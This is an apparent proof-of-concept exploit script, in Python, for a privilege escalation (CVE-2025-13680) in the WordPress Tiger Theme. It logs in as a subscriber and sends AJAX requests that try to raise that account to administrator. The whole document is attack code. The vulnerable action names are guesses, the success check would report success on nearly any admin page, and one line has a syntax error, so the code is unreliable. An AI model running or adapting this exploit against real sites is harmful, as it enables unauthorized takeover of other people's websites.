CVE-2025-13680

import requests import sys from urllib.parse import urljoin # CVE-2025-13680 PoC - WordPress Tiger Theme Privilege Escalation # Target: WordPress with Tiger Theme <= 101.2.1 # Author: Security Researcher # Note: This PoC demonstrates the vulnerability for authorized testing only def exploit_privilege_escalation(target_url, username, password): """ Exploit privilege escalation vulnerability in Tiger Theme. Allows low-privileged users (Subscriber+) to escalate to Administrator. Args: target_url: Base URL of the WordPress site username: Low-privilege account username password: Low-privilege account password Returns: bool: True if exploitation successful, False otherwise """ session = requests.Session() # Step 1: Login with low-privilege account login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in as {username}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed. Please check credentials.") return False print("[+] Login successful!") # Step 2: Identify Tiger Theme vulnerability endpoint # The vulnerable endpoint is typically in theme's AJAX handler ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php') # Common vulnerable action names in Tiger theme vulnerable_actions = [ 'tiger_update_user_role', 'tiger_set_user_role', 'update_user_role', 'tiger_profile_update', 'tiger_save_settings' ] print("[*] Attempting privilege escalation...") for action in vulnerable_actions: # Step 3: Send privilege escalation request exploit_data = { 'action': action, 'user_id': 'current', # Target current user 'role': 'administrator' # Escalate to administrator } try: response = session.post(ajax_url, data=exploit_data, timeout=10) # Step 4: Verify privilege escalation check_url = urljoin(target_url, '/wp-admin/profile.php') verify_response = session.get(check_url) if verify_response.status_code == 200: if 'administrator' in verify_response.text.lower() or '/wp-admin/' in verify_response.text: print(f"[+] Privilege escalation successful via action: {action}") print("[+] Current user now has Administrator privileges!") print(f"[+] Access admin panel at: {urljoin(target_url, '/wp-admin/'}") return True except requests.RequestException as e: print(f"[-] Error with action {action}: {e}") continue print("[-] Privilege escalation failed. Target may be patched or not vulnerable.") return False def main(): if len(sys.argv) != 4: print("Usage: python cve-2025-13680.py <target_url> <username> <password>") print("Example: python cve-2025-13680.py http://example.com/ subscriber password123") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] print("=" * 60) print("CVE-2025-13680 - Tiger Theme Privilege Escalation Exploit") print("=" * 60) exploit_privilege_escalation(target_url, username, password) if __name__ == '__main__': main()

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